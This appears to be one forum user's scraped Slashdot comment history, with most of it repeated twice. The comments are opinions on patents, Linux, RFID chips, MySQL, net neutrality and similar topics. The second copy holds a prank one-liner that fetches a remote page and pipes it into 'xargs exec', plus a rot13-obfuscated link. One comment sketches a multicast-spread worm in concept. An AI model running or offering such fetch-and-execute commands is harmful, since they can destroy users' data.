Wanna hear something offpost but sad. For most people that don't know, AZT (what is used to treat AIDS patients) was created by the US government. The dosage portions is patented by the pharm company. So guess what... Now one has to pay the pharm company for dosage information. Sad isn't it. Yes there is abuse, but all in all I would think there would be more abuse without it. I envision corporate warfare where facilities are firebombed, etc. Sabatoge galore. Call it extreme, but its nothing short of what big business has done in the past and continue to do now to some degree.
Wouldn't you rather be able to build on the ideas and creations of others without paying them money? More realistically, wouldn't you rather be able to make use of your own ideas and creations without someone else stopping you by virtue of having a patent on similar ideas or creations? You're under the impression that I would be opposed to it. No I would not be opposed to someone creating something better, but give credit were credit is due. Whether via mention, joint venture, financially, etc. Again, most patents are just records that can be used to curtail abuse. I would hope most patent holders would be honored to have their ideas BETTERED instead of just carbon copied. One doesn't necessarily have to pay a patent holder, that is where permissions come in. Not everyone is charging to share patented information.
When patenting "algorithms", most of the times those algorithms go hand in hand with a program. For example take RSA and PGP...
Anyone who "makes, uses, offers to sell or sells" a patented invention without the permission of the patent owner can be liable for patent infringement. The boundaries of the patent are defined in the claims portion of the patent. Accordingly, in order to determine whether a particular product, method or process infringes a patent, one must start with the text of the claims themselves.
There are 40 claims in the RSA Patent, but only ten of them are independent claims. Independent claims are claims which do not incorporate other claims by reference. To infringe a dependent claim, one must first infringe the independent claim (or claims) incorporated by reference in the dependent claim. Conversely, if one does not infringe the independent claim(s) incorporated by the dependent claim, by definition one does not infringe the dependent claim. (source
In just about every case - and you can look them up instead of taking anyone's word for it - in just about all cases, the infringement when it comes down to algorithms and similar patents, comes from the use of the algorithm to mimic an already invented program. IANAL and I could honestly care less about patents, but I understand the need for them, and the damages that can arise from abolishing the patent system. Mod the post down, doesn't make a difference to me, common logic dictates the cause and effects of doing away with patents.
the patent system is an unbridled and unnecessary headache. I think the patent system just needs revamping to conform to today's rapid changes. The fundamentals of the patent system is to protect the author's idea and inventions. Without it many corporations with deep pockets could possibly collapse since their intellectual property would be carbon copied dissolving their efforts and work. I'm not one "for big business" on an abusive scale, but I can empathize with them. If I had my own business and paid someone a lot of money for their ideas and creations, I should be entitled to the benefits of them. Without someone to intervene, businesses could collapse, economical and industrial warfare would be off the meter. For someone in the business world to wish away the patenting system is irresponsible. Much to much economical damage could occur from it. When an economy is damaged to an extreme the snowball effect tends to lead to poverty, crime, disease, etc. I don't know where this guy's head was at when he made his comment.
Re:Here is why it is a big step
on
Ubuntu 6.06 Reviewed
·
· Score: 2, Insightful
I agree with your post however I choose not to use Linux anymore. (I use FreeBSD). I recall the days of Slackware, Stormix, Redhat (Hurricane) and know that Linux has come a long way from my days of Slackware. While I have used Fedora, CentOS, Debian (Knoppix), and Ubuntu, I felt a long time ago there was a bit too much diversity for me and no core focus. I've always been a Solaris fan as well as well as (yikes) Irix. It's nice to see a more userfriendly Linux though since it becomes easier for Linux to go mainstream. I've had computer illiterate people use Fedora without issues. At the same time, I can see too many distros confusing newer people. "What's the difference between, Fedora, Ubuntu, Redhat, CentOS, SuSE, Mandrake, Slackware, YellowLinux?!". While I and those who've been using Linux, BSD, etc., may know, I feel its a bit too much. Seems like every year another distro pops up, gets hyped up, then slowly fades away...
This company has been known to be associated with April Fool's type hoaxes and controversy... "Seattle officials have introduced "Safe Harbors." An Orwellian phrase. Many homeless will not get a home, but they will be tagged and surveilled as they slog through the labyrinth of services and shelters. Safe Harbors will be a component in the federal Homeless Management Information System (HMIS). Participation is not mandatory. But programs that choose not to participate in the monitoring of misery will lose funding. Abuses are certain to arise.source But they also have some pretty nifty ideas. For example, the company planned to work with DoD on replacing dogtags with these chips. One of the benefits is that they will be able to track soldiers' movements and vitality statistics... "Is the soldier alive, what is his temperature, etc."
There are also security flaws with the chips... Unauthorized persons can access information on the chip, according to Mr. Swire, which exacerbates the potential for improper use of medical data. Similar problems exist with new biometric passports, because the biometric information is broadcast "in the clear" rather than in encrypted formats that avoid transmitting the information to unauthorized readers.source Also at issues was the possibility of third party vendors accessing information off those chips (remember its RFID based).
Telecommuting is huge and is obviously growing... I telecommute from home and enjoy it most of the time, but I also despise not going into a noisy office, seeing others, etc. It can be more profitable and beneficial for companies that allow employees to telecommute as well. Costs on infrastructure is saved, equipment costs, etc., Avaya is huge on telecommuting as well: According to the Avaya commissioned IDC Asia Pacific Business Mobility Survey, an overwhelming 70 per cent of Malaysian managers surveyed trust their staff to telecommute, as they feel that the ability to work in various environments encourages employee creativity and consequently productivity. The survey revealed that more than 50 per cent believe that allowing employees to telecommute improves their productivity. The other major benefits of telecommuting cited include enhanced customer service and seizing new business opportunities. source. I also recall reading about their domestic (United States) operations and how much money they've saved and become more productive.
Anyhow back to the article... spot talent among the company's army of volunteers - a minor league for software programmers. I wouldn't agree with that statement in the article. Most software programmers who do open source programming often have professional programming jobs. Calling them "minor league" is off the mark... There are a few other issues with the article as well: Civilians are being enticed to work free. MySQL owes them nothing for their efforts. Contributors are doing work for enjoyment, for getting a good product they can use. MySQL should and probably does show them via acknowledgment appreciation via mentions. I mean think of placing "MySQL Developer" on a resume. It holds weight...
How long can that last? Eventually, it would seem, these hard-working geeks are bound to feel exploited - or migrate to another product's fan club. Even Widenius acknowledges the possibility. For those that do go, others will pop up in their place. Many choose to support this environment because it is beneficial in the long run to them. If I started a SOHO company, why wouldn't I contribute if I'm getting the program for free as opposed to dishing out for Oracle.
"These users have their own needs to satisfy," he says. "Their main motivation is that they are lazy, and once they fix a problem, they want the fix to be in the next version of the software so they don't have to make the same changes again." I wouldn't call the users lazy by reporting problems. I would call them content with getting a good stable product and contributing to the product.
A large majority of people don't understand what a Cert is, what it does and why it's necessary. Most still just click through without checking the credentials of the cert in fact for those who use Hotmail, many times you will note that - that site's cert has expired. Mozilla seems to have halted things as of 2003 so I wonder if only financial companies and companies making financial transactions are the only ones constantly pursuing certs. Who knows... I used to use a cert for a security/political site I had as a means of encrypting content on the wire. I don't think many are altogether concerned with who signed what...
We're talking technology here but since you brought it up... Read on... Brad Miller, the manager of communications and government affairs for the Business and Institutional Furniture Manufacturer's Association, said FPI's actions have forced such steps. "We find ourselves today with a prison-factory program where the bureaucrats running it may have learned more than they have taught from some of those they imprison -- more about strong-arming their way through life than meeting the needs of customers with quality service." Who are you fooling?
A more open society, or a more open social network online?... I wonder if some of these articles aren't just fantastic stories created by someone that made a cluster of pissed off Chinese want to go Kung Fu someone's ass. Anyhow, I was just reading about cyberpsychology which is interesting... (off topic... yup) Do we communicate more openly and honestly in cyberspace, or are we more apt to hide our true feelings and personalities? How accurate are our beliefs about how others see us can we effectively view ourselves through other peoples eyes? This chapter will explore ways that social perception in cyberspace can be better understood by applying psychological principles, research, and theory. There are three major sections. The first is an examination of the nature of computer-mediated communication CMC as viewed by several prominent theoretical models, outlining how these models assess possible sources of accurate and inaccurate perceptions online and the impact of perceptions in cyberspace on everyday face-to-face social relationships. Next, the chapter explores the role of relevant cognitive processes in the development of online perceptions, including the activation of stereotypes, self-confirmation of attributions, and the instantiation of social identity. The final section examines the problem of accurately knowing how others perceive oneself in cyberspace versus in face-to-face interactions.http://www.vepsy.com/communication/volume2.html
I would think "exposure" is not a factor considering the author is demanding a ransom which can just as easily be tracked. As to your comment on PKC, what's to stop the next version from self installing GNUPG locally and creating a key in similar fashion.
It's ironic that everyone is critizing MS for improving security features, yet everyone is also criticizing them for their lack of security. I would rather have slightly slower security then having my infrastructure compromised. Do the math... 10 users in a small business with 1 hour less productivity. At a rate of say 20.00 an hour I've wasted $200. 10 users in small business with less security and more productivity. 1 incident... Cost to fix, cost to investigate, cost to clean up. I don't get what the big deal. In a production environment I would hope IT staffers customized their Operating Systems to what is necessary for workers to actually work. This means the majority of qualms about explorer having file, view, etc., hidden are irrelevant. When I migrated my former office to XP from Windows 2000, I customized the menus to make it look like Windows 2000 to avoid having users go bonkers not understanding Windows XP before they even logged in to Windows XP. Most weren't aware of the transition so I miss the author's point with most of his ramblings.
What do you think would happen if someone scripted something into it... Remember its a proof of concept. Doesn't mean someone wouldn't be able to do something uberdumb in a shell...
I've floated the idea of a multicast based worm capable of infecting anyone who is accessing a multicast stream. I came up with this idea after some CCNP studies while doing some multicast tests. For those who need a briefer on how multicast works: What is Multicasting ? Multicasting is a technique developed to send packets from one location in the Internet to many other locations, without any unnecessary packet duplication. In multicasting, one packet is sent from a source and is replicated as needed in the network to reach as many end-users as necessary.
In my theory, a virus creator need create say a corrupted image, sound, etc., and send it through networks as a spoofed source. For example, MSN, AIM, Yahoo! messengers all stream annoying advertisements, so what's to stop someone from creating a packet injection tool to stream a virus through to everyone listening for the multicast and infect their machine.
Let D=Disney A=Attacker M=Multicast_Address DST=Destination... If A spoofs D sending bad data to M's DST... How many machines can possibly get infected. The framework is there and the possible outcome would be mass infections on a worse level then any worm seen. Of course the whole notion is conceptual but I'm sure it can be done.
Anyhow in relation to the article, there is no mention of which operating system this PoC affects but I'm sure it will only be a matter of time before someone creates all sorts of perl, sh, python scripts to try and make Unix zombies or so. Luckily I know of no colo places using StarOffice on big piped networks, so DDoS drones are unlikely to come out of this. Simply infected machines... Will be strange to see what else comes out of this.
... Renting... Recently a former company where I worked wanted MS Exchange so off I went to get a quote and submit a proposal, etc. After speaking with an MS rep I found myself laughing at him on the phone and he too realizing what he was telling me... According to him I would need to buy Exchange Server and seats for my user. For 40 users total the price was over 4000.00 not a big deal until he mentioned I would only be able to use 5gigs of my 400gig drive. 5gigs? I said... "Yes if you need more space you have to buy another license..." Humorous...
"If anyone gets in our way... We simply buy them and liquidate them. There are no questions about being on top our war chest poops money like scatamania video."... After realizing what he had just said Mr. Ballmer ordered journalists to make necessary changes... "If you look at it competitively... the issue really isn't any one company, Google or anyone else," he said. "The question is, how do we get on top of and really drive business model transformations."
I know a great number of you wait until a new batch of products arrive before opting for one, but is it really too much for Apple to release products that are near perfect (or at least don't have major problems)? Maybe I'm expecting too much. I can't think of one vendor who hasn't had to recall a product which leads to investigate a bit of logic... Nobody is perfect.
don't think Apple should focus on increasing its market share. Apple is not responsible enough to handle a small (I use this term loosely) group of users; do we really expect them to be a mainstream company? Apple will always have a great market share because of their marketing and they've been mainstream since Billy boy was stealing Xerox codes.
Is it me or does this author sound like a disgruntled Apple enduser. Perhaps a Dell employee or other corporate shmoo.
I'd like to see a law introduced to combat AntiSocial Networks. You know the ones where the parents don't want to take responsibilities for the actions of their kids they don't bother monitoring...
The NEW bill, known as the "How About You Pay Attention to What Your Kids Are Doing" would be introduced into congress immediately.
The bill would use direct as a matter of fact language to define a "getting to know what your kids are doing on the web", which would theoretically force parents to stop making bad decisions and pay more attention to their families.
"Sites like Myspace and Facebook have opened the door to a new online community of social networks between friends, students and colleagues," "However, this new technology has become a feeding ground for child predators that use these sites as just another way to do our children harm." As stated by a congressman. However, "children under age should not be left alone to use a computer unmonitored. There are plenty of programs available to curtail things from happening. It seems parents don't want to face their responsibilities..." stated packetmon.
It is time that America learn an important lesson about the Internet -- that however cyber the space is, it is also real, and subject to real space governments. This is the very best work to make this fundamental point. Goldsmith and Wu have made understandable and accessible an argument political culture should have realized a decade ago.
An issue that can never be controlled, contained, adjusted, curtailed, etc., has to do with liberties. Take China for example; China has the most strict "filtering" (for lack of better terms) when it comes to content. They dictate what they want their people to see. No matter if its right or wrong, these are their laws and no other government has the right to impose their will on China. Same goes for the United States and other countries.
By throwing up a governing body to maintain a "control" over the Internet, would be a ballsy move on any governing body. These can lead to all sorts of wars whether its an economic war, political war, technological war, and so on.
"Every species we examined had no eyes which means they lost their sight due to evolution," said Dimantman. How do the scientists know that considering the so called blind scorpion was dead and the others were live. Perhaps eyes looked differently and evolved into what they now expect. For all they know those creatures could have had some motion imaging sensors that were eyes. Anyhow here is a picture of the scorpion. What that article also failed to mention was that all but one scorpion were found alive:
The invertebrate animals found in the cave - four seawater and freshwater crustaceans and four terrestial species - are related to but different from other, similar life forms known to scientists. The species have been sent to biological experts in both Israel and abroad for further analysis and dating. It is estimated that these species are millions of years old. Also found in the cave were bacteria that serve as the basic food source in the ecosystem.
whether the industry should be allowed to discriminate based on traffic type and content, rather than pricing by bandwidth consumption alone. There is nothing written that states a provider has to pass traffic for another. Providers with their peering agreements agree to pass X through their networks as a means of allowing their traffic to traverse a competitors. While I see their arguments for bandwidth consumption when it becomes extreme, I see this as a ploy to eliminate competition and charge higher prices. Its not a matter of discriminating someone's views or content from my inference but more of a "how can we profit". What people should do is get together for a month long protest against these telco's... Place high content bandwidth consuming content on their sites... Waste time and money call up customer service to complain... Waste resources sending emails complaining both to officials and the providers... Call and speak to billing departments expressing concerns (more wasted money for the providers)... Threaten to jump to X Provider... Post the results for someone to analyze and do it all again. Hit em where it hurts.
telcos argue that they want to curb proliferation of online video and other types of data-hungry streaming that allegedly taxes their networks they think imposing traffic fees on content providers would be a fair solution. So ISP's (not TELCO's since not all ISP's are necessarily TELCO's) want to impose sort of a private highway fee for passing bandwidth through their networks... Its surprising to see which one of these clowns will be the first to stick it to the next one. Since all networks rely on another one to pass their information through their pipes (peering), I wonder how long before one de-peers with another and breaks the Internet again (see: Who broke *.org).
I wonder what idiotic government officials while having their pockets greased will do their emails no longer come in but instead they receive a hostage notification from their provider: Dear Mr. President, under subsection 1(a)(b)(c)(d)(e) of the Draconian Telecommunications Act, we cannot deliver today's messages. Please pay the sum of a) bandwidth b) tax fees c) attorney fees d) greaser fees in order to release your messages.
Slashdot Mirror
Wanna hear something offpost but sad. For most people that don't know, AZT (what is used to treat AIDS patients) was created by the US government. The dosage portions is patented by the pharm company. So guess what... Now one has to pay the pharm company for dosage information. Sad isn't it. Yes there is abuse, but all in all I would think there would be more abuse without it. I envision corporate warfare where facilities are firebombed, etc. Sabatoge galore. Call it extreme, but its nothing short of what big business has done in the past and continue to do now to some degree.
Wouldn't you rather be able to build on the ideas and creations of others without paying them money? More realistically, wouldn't you rather be able to make use of your own ideas and creations without someone else stopping you by virtue of having a patent on similar ideas or creations? You're under the impression that I would be opposed to it. No I would not be opposed to someone creating something better, but give credit were credit is due. Whether via mention, joint venture, financially, etc. Again, most patents are just records that can be used to curtail abuse. I would hope most patent holders would be honored to have their ideas BETTERED instead of just carbon copied. One doesn't necessarily have to pay a patent holder, that is where permissions come in. Not everyone is charging to share patented information.
the patent system is an unbridled and unnecessary headache. I think the patent system just needs revamping to conform to today's rapid changes. The fundamentals of the patent system is to protect the author's idea and inventions. Without it many corporations with deep pockets could possibly collapse since their intellectual property would be carbon copied dissolving their efforts and work. I'm not one "for big business" on an abusive scale, but I can empathize with them. If I had my own business and paid someone a lot of money for their ideas and creations, I should be entitled to the benefits of them. Without someone to intervene, businesses could collapse, economical and industrial warfare would be off the meter. For someone in the business world to wish away the patenting system is irresponsible. Much to much economical damage could occur from it. When an economy is damaged to an extreme the snowball effect tends to lead to poverty, crime, disease, etc. I don't know where this guy's head was at when he made his comment.
I agree with your post however I choose not to use Linux anymore. (I use FreeBSD). I recall the days of Slackware, Stormix, Redhat (Hurricane) and know that Linux has come a long way from my days of Slackware. While I have used Fedora, CentOS, Debian (Knoppix), and Ubuntu, I felt a long time ago there was a bit too much diversity for me and no core focus. I've always been a Solaris fan as well as well as (yikes) Irix. It's nice to see a more userfriendly Linux though since it becomes easier for Linux to go mainstream. I've had computer illiterate people use Fedora without issues. At the same time, I can see too many distros confusing newer people. "What's the difference between, Fedora, Ubuntu, Redhat, CentOS, SuSE, Mandrake, Slackware, YellowLinux?!". While I and those who've been using Linux, BSD, etc., may know, I feel its a bit too much. Seems like every year another distro pops up, gets hyped up, then slowly fades away...
This company has been known to be associated with April Fool's type hoaxes and controversy... "Seattle officials have introduced "Safe Harbors." An Orwellian phrase. Many homeless will not get a home, but they will be tagged and surveilled as they slog through the labyrinth of services and shelters. Safe Harbors will be a component in the federal Homeless Management Information System (HMIS). Participation is not mandatory. But programs that choose not to participate in the monitoring of misery will lose funding. Abuses are certain to arise. source But they also have some pretty nifty ideas. For example, the company planned to work with DoD on replacing dogtags with these chips. One of the benefits is that they will be able to track soldiers' movements and vitality statistics... "Is the soldier alive, what is his temperature, etc."
There are also security flaws with the chips... Unauthorized persons can access information on the chip, according to Mr. Swire, which exacerbates the potential for improper use of medical data. Similar problems exist with new biometric passports, because the biometric information is broadcast "in the clear" rather than in encrypted formats that avoid transmitting the information to unauthorized readers. source Also at issues was the possibility of third party vendors accessing information off those chips (remember its RFID based).
Telecommuting is huge and is obviously growing... I telecommute from home and enjoy it most of the time, but I also despise not going into a noisy office, seeing others, etc. It can be more profitable and beneficial for companies that allow employees to telecommute as well. Costs on infrastructure is saved, equipment costs, etc., Avaya is huge on telecommuting as well: According to the Avaya commissioned IDC Asia Pacific Business Mobility Survey, an overwhelming 70 per cent of Malaysian managers surveyed trust their staff to telecommute, as they feel that the ability to work in various environments encourages employee creativity and consequently productivity. The survey revealed that more than 50 per cent believe that allowing employees to telecommute improves their productivity. The other major benefits of telecommuting cited include enhanced customer service and seizing new business opportunities. source. I also recall reading about their domestic (United States) operations and how much money they've saved and become more productive.
Anyhow back to the article... spot talent among the company's army of volunteers - a minor league for software programmers. I wouldn't agree with that statement in the article. Most software programmers who do open source programming often have professional programming jobs. Calling them "minor league" is off the mark... There are a few other issues with the article as well: Civilians are being enticed to work free. MySQL owes them nothing for their efforts. Contributors are doing work for enjoyment, for getting a good product they can use. MySQL should and probably does show them via acknowledgment appreciation via mentions. I mean think of placing "MySQL Developer" on a resume. It holds weight...
How long can that last? Eventually, it would seem, these hard-working geeks are bound to feel exploited - or migrate to another product's fan club. Even Widenius acknowledges the possibility. For those that do go, others will pop up in their place. Many choose to support this environment because it is beneficial in the long run to them. If I started a SOHO company, why wouldn't I contribute if I'm getting the program for free as opposed to dishing out for Oracle.
"These users have their own needs to satisfy," he says. "Their main motivation is that they are lazy, and once they fix a problem, they want the fix to be in the next version of the software so they don't have to make the same changes again." I wouldn't call the users lazy by reporting problems. I would call them content with getting a good stable product and contributing to the product.
A large majority of people don't understand what a Cert is, what it does and why it's necessary. Most still just click through without checking the credentials of the cert in fact for those who use Hotmail, many times you will note that - that site's cert has expired. Mozilla seems to have halted things as of 2003 so I wonder if only financial companies and companies making financial transactions are the only ones constantly pursuing certs. Who knows... I used to use a cert for a security/political site I had as a means of encrypting content on the wire. I don't think many are altogether concerned with who signed what...
We're talking technology here but since you brought it up... Read on ... Brad Miller, the manager of communications and government affairs for the Business and Institutional Furniture Manufacturer's Association, said FPI's actions have forced such steps. "We find ourselves today with a prison-factory program where the bureaucrats running it may have learned more than they have taught from some of those they imprison -- more about strong-arming their way through life than meeting the needs of customers with quality service." Who are you fooling?
A more open society, or a more open social network online? ... I wonder if some of these articles aren't just fantastic stories created by someone that made a cluster of pissed off Chinese want to go Kung Fu someone's ass. Anyhow, I was just reading about cyberpsychology which is interesting... (off topic... yup) Do we communicate more openly and honestly in cyberspace, or are we more apt to hide our true feelings and personalities? How accurate are our beliefs about how others see us can we effectively view ourselves through other peoples eyes? This chapter will explore ways that social perception in cyberspace can be better understood by applying psychological principles, research, and theory. There are three major sections. The first is an examination of the nature of computer-mediated communication CMC as viewed by several prominent theoretical models, outlining how these models assess possible sources of accurate and inaccurate perceptions online and the impact of perceptions in cyberspace on everyday face-to-face social relationships. Next, the chapter explores the role of relevant cognitive processes in the development of online perceptions, including the activation of stereotypes, self-confirmation of attributions, and the instantiation of social identity. The final section examines the problem of accurately knowing how others perceive oneself in cyberspace versus in face-to-face interactions. http://www.vepsy.com/communication/volume2.html
You say China... I say America. How is this different from what the NSA warrantless surveillance in the United States?
I would think "exposure" is not a factor considering the author is demanding a ransom which can just as easily be tracked. As to your comment on PKC, what's to stop the next version from self installing GNUPG locally and creating a key in similar fashion.
It's ironic that everyone is critizing MS for improving security features, yet everyone is also criticizing them for their lack of security. I would rather have slightly slower security then having my infrastructure compromised. Do the math... 10 users in a small business with 1 hour less productivity. At a rate of say 20.00 an hour I've wasted $200. 10 users in small business with less security and more productivity. 1 incident... Cost to fix, cost to investigate, cost to clean up. I don't get what the big deal. In a production environment I would hope IT staffers customized their Operating Systems to what is necessary for workers to actually work. This means the majority of qualms about explorer having file, view, etc., hidden are irrelevant. When I migrated my former office to XP from Windows 2000, I customized the menus to make it look like Windows 2000 to avoid having users go bonkers not understanding Windows XP before they even logged in to Windows XP. Most weren't aware of the transition so I miss the author's point with most of his ramblings.
echo uggc://jjj.aet4h.pbz/serrofq/onol-qbyy-1.wct | rot13 | xargs firefox
What do you think would happen if someone scripted something into it... Remember its a proof of concept. Doesn't mean someone wouldn't be able to do something uberdumb in a shell...
lynx -dump http://www.justpasha.org/folk/rm.html|sed -n '4p'|awk '{print $1,$2,$3}'|xargs exec
I've floated the idea of a multicast based worm capable of infecting anyone who is accessing a multicast stream. I came up with this idea after some CCNP studies while doing some multicast tests. For those who need a briefer on how multicast works: What is Multicasting ? Multicasting is a technique developed to send packets from one location in the Internet to many other locations, without any unnecessary packet duplication. In multicasting, one packet is sent from a source and is replicated as needed in the network to reach as many end-users as necessary.
In my theory, a virus creator need create say a corrupted image, sound, etc., and send it through networks as a spoofed source. For example, MSN, AIM, Yahoo! messengers all stream annoying advertisements, so what's to stop someone from creating a packet injection tool to stream a virus through to everyone listening for the multicast and infect their machine.
Let D=Disney A=Attacker M=Multicast_Address DST=Destination... If A spoofs D sending bad data to M's DST... How many machines can possibly get infected. The framework is there and the possible outcome would be mass infections on a worse level then any worm seen. Of course the whole notion is conceptual but I'm sure it can be done.
Anyhow in relation to the article, there is no mention of which operating system this PoC affects but I'm sure it will only be a matter of time before someone creates all sorts of perl, sh, python scripts to try and make Unix zombies or so. Luckily I know of no colo places using StarOffice on big piped networks, so DDoS drones are unlikely to come out of this. Simply infected machines... Will be strange to see what else comes out of this.
... Renting... Recently a former company where I worked wanted MS Exchange so off I went to get a quote and submit a proposal, etc. After speaking with an MS rep I found myself laughing at him on the phone and he too realizing what he was telling me... According to him I would need to buy Exchange Server and seats for my user. For 40 users total the price was over 4000.00 not a big deal until he mentioned I would only be able to use 5gigs of my 400gig drive. 5gigs? I said... "Yes if you need more space you have to buy another license..." Humorous...
"If anyone gets in our way... We simply buy them and liquidate them. There are no questions about being on top our war chest poops money like scatamania video." ... After realizing what he had just said Mr. Ballmer ordered journalists to make necessary changes... "If you look at it competitively... the issue really isn't any one company, Google or anyone else," he said. "The question is, how do we get on top of and really drive business model transformations."
I know a great number of you wait until a new batch of products arrive before opting for one, but is it really too much for Apple to release products that are near perfect (or at least don't have major problems)? Maybe I'm expecting too much. I can't think of one vendor who hasn't had to recall a product which leads to investigate a bit of logic... Nobody is perfect.
don't think Apple should focus on increasing its market share. Apple is not responsible enough to handle a small (I use this term loosely) group of users; do we really expect them to be a mainstream company? Apple will always have a great market share because of their marketing and they've been mainstream since Billy boy was stealing Xerox codes.
Is it me or does this author sound like a disgruntled Apple enduser. Perhaps a Dell employee or other corporate shmoo.
And what would happen when the US President visited that site and had to type in there, their or they're.
It is time that America learn an important lesson about the Internet -- that however cyber the space is, it is also real, and subject to real space governments. This is the very best work to make this fundamental point. Goldsmith and Wu have made understandable and accessible an argument political culture should have realized a decade ago.
An issue that can never be controlled, contained, adjusted, curtailed, etc., has to do with liberties. Take China for example; China has the most strict "filtering" (for lack of better terms) when it comes to content. They dictate what they want their people to see. No matter if its right or wrong, these are their laws and no other government has the right to impose their will on China. Same goes for the United States and other countries.
By throwing up a governing body to maintain a "control" over the Internet, would be a ballsy move on any governing body. These can lead to all sorts of wars whether its an economic war, political war, technological war, and so on.
"Every species we examined had no eyes which means they lost their sight due to evolution," said Dimantman. How do the scientists know that considering the so called blind scorpion was dead and the others were live. Perhaps eyes looked differently and evolved into what they now expect. For all they know those creatures could have had some motion imaging sensors that were eyes. Anyhow here is a picture of the scorpion. What that article also failed to mention was that all but one scorpion were found alive:
k nown_Prehistoric_Species_Discovered_In_Israel_Cave .html
The invertebrate animals found in the cave - four seawater and freshwater crustaceans and four terrestial species - are related to but different from other, similar life forms known to scientists. The species have been sent to biological experts in both Israel and abroad for further analysis and dating. It is estimated that these species are millions of years old. Also found in the cave were bacteria that serve as the basic food source in the ecosystem.
The animals found there were all discovered live, except for a blind species of scorpion, although Dr. Dimentman is certain that live scorpions will be discovered in further explorations and also probably an animal or animals which feed on the scorpions.
http://www.playfuls.com/news_001136_Previously_Un
whether the industry should be allowed to discriminate based on traffic type and content, rather than pricing by bandwidth consumption alone. There is nothing written that states a provider has to pass traffic for another. Providers with their peering agreements agree to pass X through their networks as a means of allowing their traffic to traverse a competitors. While I see their arguments for bandwidth consumption when it becomes extreme, I see this as a ploy to eliminate competition and charge higher prices. Its not a matter of discriminating someone's views or content from my inference but more of a "how can we profit". What people should do is get together for a month long protest against these telco's... Place high content bandwidth consuming content on their sites... Waste time and money call up customer service to complain... Waste resources sending emails complaining both to officials and the providers... Call and speak to billing departments expressing concerns (more wasted money for the providers)... Threaten to jump to X Provider... Post the results for someone to analyze and do it all again. Hit em where it hurts.
telcos argue that they want to curb proliferation of online video and other types of data-hungry streaming that allegedly taxes their networks they think imposing traffic fees on content providers would be a fair solution. So ISP's (not TELCO's since not all ISP's are necessarily TELCO's) want to impose sort of a private highway fee for passing bandwidth through their networks... Its surprising to see which one of these clowns will be the first to stick it to the next one. Since all networks rely on another one to pass their information through their pipes (peering), I wonder how long before one de-peers with another and breaks the Internet again (see: Who broke *.org).
I wonder what idiotic government officials while having their pockets greased will do their emails no longer come in but instead they receive a hostage notification from their provider: Dear Mr. President, under subsection 1(a)(b)(c)(d)(e) of the Draconian Telecommunications Act, we cannot deliver today's messages. Please pay the sum of a) bandwidth b) tax fees c) attorney fees d) greaser fees in order to release your messages.